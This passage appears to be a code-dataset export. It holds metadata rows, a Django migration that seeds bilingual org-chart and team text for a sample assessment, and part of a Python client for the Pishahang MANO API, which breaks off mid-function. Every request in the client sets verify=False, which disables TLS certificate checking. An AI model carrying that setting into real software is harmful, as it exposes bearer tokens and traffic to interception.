| 91
| 0.529822
| 1,220
| 12,625
| 5.27623
| 0.134426
| 0.063228
| 0.049713
| 0.062141
| 0.837347
| 0.785925
| 0.768992
| 0.752835
| 0.716483
| 0.716483
| 0
| 0.282428
| 0.352713
| 12,625
| 395
| 92
| 31.962025
| 0.505262
| 0.001505
| 0
| 0.587537
| 0
| 0
| 0.261704
| 0.239724
| 0
| 0
| 0
| 0
| 0.05638
| 1
| 0.038576
| false
| 0
| 0.011869
| 0
| 0.053412
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cbe3db0aa313f2796d9e9503cd8eae340bf8f9a5
| 27,866
|
py
|
Python
|
backend/custom_models/migrations/0013_upload_background_tree_view_info.py
|
code-for-canada/django-nginx-reactjs-docker
|
12b2f79872273bb0ac4736d709b8e0904bc54258
|
[
"MIT"
] | 3
|
2019-01-04T10:53:03.000Z
|
2020-01-29T16:20:38.000Z
|
backend/custom_models/migrations/0013_upload_background_tree_view_info.py
|
code-for-canada/django-nginx-reactjs-docker
|
12b2f79872273bb0ac4736d709b8e0904bc54258
|
[
"MIT"
] | 215
|
2019-01-04T11:34:03.000Z
|
2019-07-22T13:36:18.000Z
|
backend/custom_models/migrations/0013_upload_background_tree_view_info.py
|
code-for-canada/django-nginx-reactjs-docker
|
12b2f79872273bb0ac4736d709b8e0904bc54258
|
[
"MIT"
] | 8
|
2019-01-08T22:45:11.000Z
|
2020-01-29T16:20:40.000Z
|
# Generated by Django 2.1.7 on 2019-05-30 14:07
# Edited by Francis Normand to upload the background tree view
# content (one in Organizational Structure section and one in Team
# Information section) of the image descriptions for the sample test
from django.db import migrations
def upload_background_tree_view_info(apps, schema_editor):
# get models
language = apps.get_model("custom_models", "Language")
item_type = apps.get_model("custom_models", "ItemType")
item = apps.get_model("custom_models", "Item")
item_text = apps.get_model("custom_models", "ItemText")
test = apps.get_model("custom_models", "Test")
# get db alias
db_alias = schema_editor.connection.alias
# lookup languages; do not use bulk_create since we need these objects later on
l_english = (
language.objects.using(db_alias)
.filter(ISO_Code_1="en", ISO_Code_2="en-ca")
.last()
)
l_french = (
language.objects.using(db_alias)
.filter(ISO_Code_1="fr", ISO_Code_2="fr-ca")
.last()
)
emib_sample_item_id = (
test.objects.using(db_alias).filter(test_name="emibSampleTest").last().item_id
)
it_background = (
item_type.objects.using(db_alias).filter(type_desc="background").last()
)
background_id = (
item.objects.using(db_alias)
.filter(parent_id=emib_sample_item_id, item_type_id=it_background, order=0)
.last()
)
# create item_types; do not use bulk_create since we need these objects later on
it_tree_view = item_type(type_desc="tree-view")
it_tree_view.save()
it_organizational_structure_tree_child = item_type(type_desc="organizational-structure-tree-child")
it_organizational_structure_tree_child.save()
it_team_information_tree_child = item_type(type_desc="team-information-tree-child")
it_team_information_tree_child.save()
# create items; do not use bulk_create since we need these objects later on
# organizational structure tree view
i_tree_view_of_org_structure = item(
parent_id=background_id, item_type_id=it_tree_view, order=1
)
i_tree_view_of_org_structure.save()
# organizational structure tree view children
i_tree_view_of_org_structure_person_1 = item(
parent_id=i_tree_view_of_org_structure, item_type_id=it_organizational_structure_tree_child, order=1
)
i_tree_view_of_org_structure_person_1.save()
i_tree_view_of_org_structure_person_2 = item(
parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=1
)
i_tree_view_of_org_structure_person_2.save()
i_tree_view_of_org_structure_person_3 = item(
parent_id=i_tree_view_of_org_structure_person_2, item_type_id=it_organizational_structure_tree_child, order=1
)
i_tree_view_of_org_structure_person_3.save()
i_tree_view_of_org_structure_person_4 = item(
parent_id=i_tree_view_of_org_structure_person_2, item_type_id=it_organizational_structure_tree_child, order=2
)
i_tree_view_of_org_structure_person_4.save()
i_tree_view_of_org_structure_person_5 = item(
parent_id=i_tree_view_of_org_structure_person_2, item_type_id=it_organizational_structure_tree_child, order=3
)
i_tree_view_of_org_structure_person_5.save()
i_tree_view_of_org_structure_person_6 = item(
parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=2
)
i_tree_view_of_org_structure_person_6.save()
i_tree_view_of_org_structure_person_7 = item(
parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=3
)
i_tree_view_of_org_structure_person_7.save()
i_tree_view_of_org_structure_person_8 = item(
parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=4
)
i_tree_view_of_org_structure_person_8.save()
i_tree_view_of_org_structure_person_9 = item(
parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=1
)
i_tree_view_of_org_structure_person_9.save()
i_tree_view_of_org_structure_person_10 = item(
parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=2
)
i_tree_view_of_org_structure_person_10.save()
i_tree_view_of_org_structure_person_11 = item(
parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=3
)
i_tree_view_of_org_structure_person_11.save()
i_tree_view_of_org_structure_person_12 = item(
parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=4
)
i_tree_view_of_org_structure_person_12.save()
# team information tree view
i_tree_view_of_team_info = item(
parent_id=background_id, item_type_id=it_tree_view, order=2
)
i_tree_view_of_team_info.save()
# team information tree view children
i_tree_view_of_team_info_person_1 = item(
parent_id=i_tree_view_of_team_info, item_type_id=it_team_information_tree_child, order=1
)
i_tree_view_of_team_info_person_1.save()
i_tree_view_of_team_info_person_2 = item(
parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=1
)
i_tree_view_of_team_info_person_2.save()
i_tree_view_of_team_info_person_3 = item(
parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=2
)
i_tree_view_of_team_info_person_3.save()
i_tree_view_of_team_info_person_4 = item(
parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=3
)
i_tree_view_of_team_info_person_4.save()
i_tree_view_of_team_info_person_5 = item(
parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=4
)
i_tree_view_of_team_info_person_5.save()
i_tree_view_of_team_info_person_6 = item(
parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=5
)
i_tree_view_of_team_info_person_6.save()
i_tree_view_of_team_info_person_7 = item(
parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=6
)
i_tree_view_of_team_info_person_7.save()
# bulk create item_text
item_text.objects.using(db_alias).bulk_create(
[
item_text(
item_id=i_tree_view_of_org_structure_person_1,
text_detail="Jenna Icard (President)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_1,
text_detail="Jenna Icard (Présidente)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_2,
text_detail="Amari Kinsler (Corporate Affairs Director)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_2,
text_detail="Amari Kinsler (Directeur, Affaires ministérielles)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_3,
text_detail="Marc Sheridan (Human Resources Manager)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_3,
text_detail="Marc Sheridan (Gestionnaire, Ressources humaines)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_4,
text_detail="Bob McNutt (Finance Manager)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_4,
text_detail="Bob McNutt (Gestionnaire, Finances)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_5,
text_detail="Lana Hussad (Information Technology Manager)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_5,
text_detail="Lana Hussad (Gestionnaire, Technologies de l'information)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_6,
text_detail="Geneviève Bédard (Research and Innovations Director)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_6,
text_detail="Geneviève Bédard (Directrice, Recherche et innovations)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_7,
text_detail="Bartosz Greco (Program Development Director)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_7,
text_detail="Bartosz Greco (Directeur, Développement de programmes)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_8,
text_detail="Nancy Ward (Services and Communications Director)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_8,
text_detail="Nancy Ward (Directrice, Services et communications)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_9,
text_detail="Claude Huard (Quality Assurance Manager - You)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_9,
text_detail="Claude Huard (Gestionnaire, Assurance de la qualité - vous)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_10,
text_detail="Haydar Kalil (Services and Support Manager)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_10,
text_detail="Haydar Kalil (Gestionnaire, Service et soutien)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_11,
text_detail="Geoffrey Hamma (Audits Manager)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_11,
text_detail="Geoffrey Hamma (Gestionnaire, Vérifications)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_org_structure_person_12,
text_detail="Lucy Trang (E-Training Manager)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_org_structure_person_12,
text_detail="Lucy Trang (Gestionnaire, Formation en ligne)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_1,
text_detail="Claude Huard (Quality Assurance Manager - You)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_1,
text_detail="Claude Huard (Gestionnaire, Assurance de la qualité - vous)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_2,
text_detail="Danny McBride (QA Analyst)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_2,
text_detail="Danny McBride (Analyste de l’assurance de la qualité)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_3,
text_detail="Serge Duplessis (QA Analyst)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_3,
text_detail="Serge Duplessis (Analyste de l’assurance de la qualité)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_4,
text_detail="Marina Richter (QA Analyst)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_4,
text_detail="Marina Richter (Analyste de l’assurance de la qualité)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_5,
text_detail="Mary Woodside (QA Analyst)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_5,
text_detail="Mary Woodside (Analyste de l’assurance de la qualité)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_6,
text_detail="Charlie Wang (QA Analyst)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_6,
text_detail="Charlie Wang (Analyste de l’assurance de la qualité)",
language=l_french,
),
item_text(
item_id=i_tree_view_of_team_info_person_7,
text_detail="Jack Laurier (QA Analyst)",
language=l_english,
),
item_text(
item_id=i_tree_view_of_team_info_person_7,
text_detail="Jack Laurier (Analyste de l’assurance de la qualité)",
language=l_french,
),
]
)
def destroy_background_tree_view_info(apps, schema_editor):
# get models
language = apps.get_model("custom_models", "Language")
item_type = apps.get_model("custom_models", "ItemType")
item = apps.get_model("custom_models", "Item")
item_text = apps.get_model("custom_models", "ItemText")
test = apps.get_model("custom_models", "Test")
# get db alias
db_alias = schema_editor.connection.alias
# get language objects
l_english = (
language.objects.using(db_alias)
.filter(ISO_Code_1="en", ISO_Code_2="en-ca")
.last()
)
l_french = (
language.objects.using(db_alias)
.filter(ISO_Code_1="fr", ISO_Code_2="fr-ca")
.last()
)
# get item_type objects
it_tree_view = (
item_type.objects.using(db_alias).filter(type_desc="tree-view").last()
)
it_organizational_structure_tree_child = (
item_type.objects.using(db_alias).filter(type_desc="organizational-structure-tree-child").last()
)
it_team_information_tree_child = (
item_type.objects.using(db_alias).filter(type_desc="team-information-tree-child").last()
)
# get item objects
emib_sample_item_id = (
test.objects.using(db_alias).filter(test_name="emibSampleTest").last().item_id
)
it_background = (
item_type.objects.using(db_alias).filter(type_desc="background").last()
)
background_id = (
item.objects.using(db_alias)
.filter(parent_id=emib_sample_item_id, item_type_id=it_background, order=0)
.last()
)
i_tree_view_of_org_structure = (
item.objects.using(db_alias)
.filter(parent_id=background_id, item_type_id=it_tree_view, order=1)
.last()
)
i_tree_view_of_org_structure_person_1 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure, item_type_id=it_organizational_structure_tree_child, order=1)
.last()
)
i_tree_view_of_org_structure_person_2 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=1)
.last()
)
i_tree_view_of_org_structure_person_3 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_2, item_type_id=it_organizational_structure_tree_child, order=1)
.last()
)
i_tree_view_of_org_structure_person_4 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_2, item_type_id=it_organizational_structure_tree_child, order=2)
.last()
)
i_tree_view_of_org_structure_person_5 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_2, item_type_id=it_organizational_structure_tree_child, order=3)
.last()
)
i_tree_view_of_org_structure_person_6 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=2)
.last()
)
i_tree_view_of_org_structure_person_7 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=3)
.last()
)
i_tree_view_of_org_structure_person_8 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_1, item_type_id=it_organizational_structure_tree_child, order=4)
.last()
)
i_tree_view_of_org_structure_person_9 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=1)
.last()
)
i_tree_view_of_org_structure_person_10 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=2)
.last()
)
i_tree_view_of_org_structure_person_11 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=3)
.last()
)
i_tree_view_of_org_structure_person_12 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_org_structure_person_8, item_type_id=it_organizational_structure_tree_child, order=4)
.last()
)
i_tree_view_of_team_info = (
item.objects.using(db_alias)
.filter(parent_id=background_id, item_type_id=it_tree_view, order=2)
.last()
)
i_tree_view_of_team_info_person_1 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info, item_type_id=it_team_information_tree_child, order=1)
.last()
)
i_tree_view_of_team_info_person_2 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=1)
.last()
)
i_tree_view_of_team_info_person_3 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=2)
.last()
)
i_tree_view_of_team_info_person_4 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=3)
.last()
)
i_tree_view_of_team_info_person_5 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=4)
.last()
)
i_tree_view_of_team_info_person_6 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=5)
.last()
)
i_tree_view_of_team_info_person_7 = (
item.objects.using(db_alias)
.filter(parent_id=i_tree_view_of_team_info_person_1, item_type_id=it_team_information_tree_child, order=6)
.last()
)
# destroy item_text
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_1, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_1, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_2, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_2, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_3, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_3, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_4, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_4, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_5, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_5, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_6, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_6, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_7, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_7, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_8, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_8, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_9, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_9, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_10, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_10, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_11, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_11, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_12, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure_person_12, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_org_structure, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_1, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_1, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_2, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_2, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_3, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_3, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_4, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_4, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_5, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_5, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_6, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_6, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_7, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info_person_7, language=l_french
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info, language=l_english
).delete()
item_text.objects.using(db_alias).filter(
item_id=i_tree_view_of_team_info, language=l_french
).delete()
# destroy items; inverted order as children must be deleted first
i_tree_view_of_org_structure_person_1.delete()
i_tree_view_of_org_structure_person_2.delete()
i_tree_view_of_org_structure_person_3.delete()
i_tree_view_of_org_structure_person_4.delete()
i_tree_view_of_org_structure_person_5.delete()
i_tree_view_of_org_structure_person_6.delete()
i_tree_view_of_org_structure_person_7.delete()
i_tree_view_of_org_structure_person_8.delete()
i_tree_view_of_org_structure_person_9.delete()
i_tree_view_of_org_structure_person_10.delete()
i_tree_view_of_org_structure_person_11.delete()
i_tree_view_of_org_structure_person_12.delete()
i_tree_view_of_org_structure.delete()
i_tree_view_of_team_info_person_1.delete()
i_tree_view_of_team_info_person_2.delete()
i_tree_view_of_team_info_person_3.delete()
i_tree_view_of_team_info_person_4.delete()
i_tree_view_of_team_info_person_5.delete()
i_tree_view_of_team_info_person_6.delete()
i_tree_view_of_team_info_person_7.delete()
i_tree_view_of_team_info.delete()
it_team_information_tree_child.delete()
it_organizational_structure_tree_child.delete()
it_tree_view.delete()
class Migration(migrations.Migration):
dependencies = [("custom_models", "0012_update_emib_sample_fr")]
operations = [
migrations.RunPython(
upload_background_tree_view_info, destroy_background_tree_view_info
)
]
| 42.543511
| 126
| 0.693282
| 3,980
| 27,866
| 4.303518
| 0.05201
| 0.103223
| 0.106142
| 0.129729
| 0.934318
| 0.918204
| 0.909797
| 0.894092
| 0.838218
| 0.799568
| 0
| 0.013066
| 0.228235
| 27,866
| 654
| 127
| 42.608563
| 0.783363
| 0.029534
| 0
| 0.53268
| 1
| 0
| 0.076755
| 0.005551
| 0
| 0
| 0
| 0
| 0
| 1
| 0.003268
| false
| 0
| 0.001634
| 0
| 0.009804
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1dcc22ab2dd8c9ce2683cae157ba6b7d9d9dd354
| 16,931
|
py
|
Python
|
wrappers/SONATAClient/pishahang.py
|
CN-UPB/python-mano-wrappers
|
8e3607feaa97bc3e2c906ee8e4b25b21853ea6cf
|
[
"Apache-2.0"
] | null | null | null |
wrappers/SONATAClient/pishahang.py
|
CN-UPB/python-mano-wrappers
|
8e3607feaa97bc3e2c906ee8e4b25b21853ea6cf
|
[
"Apache-2.0"
] | null | null | null |
wrappers/SONATAClient/pishahang.py
|
CN-UPB/python-mano-wrappers
|
8e3607feaa97bc3e2c906ee8e4b25b21853ea6cf
|
[
"Apache-2.0"
] | null | null | null |
import json
import requests
class Pishahang():
"""
Pishahang Related Interfaces
"""
def __init__(self, host, port=4002, requests_port=32001, policy_port=8899):
self._host = host
self._port = port
self.policy_port = policy_port
self._requests_port = requests_port
self._base_path = 'http://{0}:{1}'
self._user_endpoint = '{0}'
def get_csd_descriptors(self, token, offset=None, limit=None, host=None, port=None):
""" CSD Package Management Interface - Cloud descriptors
:param token: auth token retrieved by the auth call
:param offset: offset index while returning
:param limit: limit records while returning
:param host: host url
:param port: port where the MANO API can be accessed
"""
if host is None:
base_path = self._base_path.format(self._host, self._port)
else:
base_path = self._base_path.format(host, port)
if not offset:
offset = 0
if not limit:
limit = 10
_endpoint = "{0}/catalogues/api/v2/csds?offset={1}&limit={2}".format(base_path, offset, limit)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/json", 'Authorization': 'Bearer {}'.format(token)}
try:
r = requests.get(_endpoint, params=None, verify=False, stream=True, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.ok:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def post_csd_descriptors(self, token, package_path, host=None, port=None):
""" CSD Package Management Interface - Cloud descriptors
/vnf_descriptors:
POST - Create a new individual
VNFpackage resource
:param token: auth token retrieved by the auth call
:param package_path: file path of the package
:param host: host url
:param port: port where the MANO API can be accessed
Example:
.. code-block:: python
sonata_pishahang = SONATAClient.Pishahang(HOST_URL)
sonata_auth = SONATAClient.Auth(HOST_URL)
_token = json.loads(sonata_auth.auth(username=USERNAME, password=PASSWORD))
_token = json.loads(_token["data"])
response = json.loads(sonata_pishahang.post_csd_descriptors(
token=_token["token"]["access_token"],
package_path="tests/samples/csd_example.yml"))
"""
if host is None:
base_path = self._base_path.format(self._host, self._port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/x-yaml", "accept": "application/json",
'Authorization': 'Bearer {}'.format(token)}
_endpoint = "{0}/catalogues/api/v2/csds".format(base_path)
try:
r = requests.post(_endpoint, data=open(package_path, 'rb'), verify=False, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.created:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def get_pd_descriptors(self, offset=None, limit=None, host=None, port=None):
""" PD Management Interface - Policy descriptors
:param token: auth token retrieved by the auth call
:param offset: offset index while returning
:param limit: limit records while returning
:param host: host url
:param port: port where the MANO API can be accessed
"""
if host is None:
base_path = self._base_path.format(self._host, self.policy_port)
else:
base_path = self._base_path.format(host, port)
_endpoint = "{0}/policy_descriptor".format(base_path)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/json"}
try:
r = requests.get(_endpoint, params=None, verify=False, stream=True, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.ok:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def post_pd_descriptors(self, package_path, host=None, port=None):
""" PD Policy descriptors
/policy_descriptors:
POST - Create a new individual
Policy resource
:param token: auth token retrieved by the auth call
:param package_path: file path of the package
:param host: host url
:param port: port where the MANO API can be accessed
Example:
.. code-block:: python
sonata_pishahang = SONATAClient.Pishahang(HOST_URL)
sonata_auth = SONATAClient.Auth(HOST_URL)
_token = json.loads(sonata_auth.auth(username=USERNAME, password=PASSWORD))
_token = json.loads(_token["data"])
response = json.loads(sonata_pishahang.post_pd_descriptors(
token=_token["token"]["access_token"],
package_path="tests/samples/policy_example.yml"))
"""
if host is None:
base_path = self._base_path.format(self._host, self.policy_port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/x-yaml", "accept": "application/json"}
_endpoint = "{0}/policy_descriptor".format(base_path)
try:
r = requests.post(_endpoint, data=open(package_path, 'rb'), verify=False, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.created:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def delete_pd_descriptors_pdpkgid(self, pdpkgid, host=None, port=None):
""" PD Management Interface -
Individual PD package
:param token: auth token retrieved by the auth call
:param csdpkgid: id of the vnf package to fetch
:param host: host url
:param port: port where the MANO API can be accessed
"""
if host is None:
base_path = self._base_path.format(self._host, self.policy_port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/json"}
_endpoint = "{0}/policy_descriptor".format(base_path)
_data = { "name": pdpkgid }
try:
r = requests.delete(_endpoint, data=json.dumps(_data), params=None, verify=False, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.ok:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def get_cosd_descriptors(self, token, offset=None, limit=None, host=None, port=None):
""" COSD Package Management Interface - Cloud descriptors
:param token: auth token retrieved by the auth call
:param offset: offset index while returning
:param limit: limit records while returning
:param host: host url
:param port: port where the MANO API can be accessed
"""
if host is None:
base_path = self._base_path.format(self._host, self._port)
else:
base_path = self._base_path.format(host, port)
if not offset:
offset = 0
if not limit:
limit = 10
_endpoint = "{0}/catalogues/api/v2/complex-services?offset={1}&limit={2}".format(base_path, offset, limit)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/json", 'Authorization': 'Bearer {}'.format(token)}
try:
r = requests.get(_endpoint, params=None, verify=False, stream=True, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.ok:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def post_cosd_descriptors(self, token, package_path, host=None, port=None):
""" COSD Package Management Interface - Cloud descriptors
/vnf_descriptors:
POST - Create a new individual
VNFpackage resource
:param token: auth token retrieved by the auth call
:param package_path: file path of the package
:param host: host url
:param port: port where the MANO API can be accessed
Example:
.. code-block:: python
sonata_pishahang = SONATAClient.Pishahang(HOST_URL)
sonata_auth = SONATAClient.Auth(HOST_URL)
_token = json.loads(sonata_auth.auth(username=USERNAME, password=PASSWORD))
_token = json.loads(_token["data"])
response = json.loads(sonata_pishahang.post_cosd_descriptors(
token=_token["token"]["access_token"],
package_path="tests/samples/csd_example.yml"))
"""
if host is None:
base_path = self._base_path.format(self._host, self._port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/x-yaml", "accept": "application/json",
'Authorization': 'Bearer {}'.format(token)}
_endpoint = "{0}/catalogues/api/v2/complex-services".format(base_path)
try:
r = requests.post(_endpoint, data=open(package_path, 'rb'), verify=False, headers=headers)
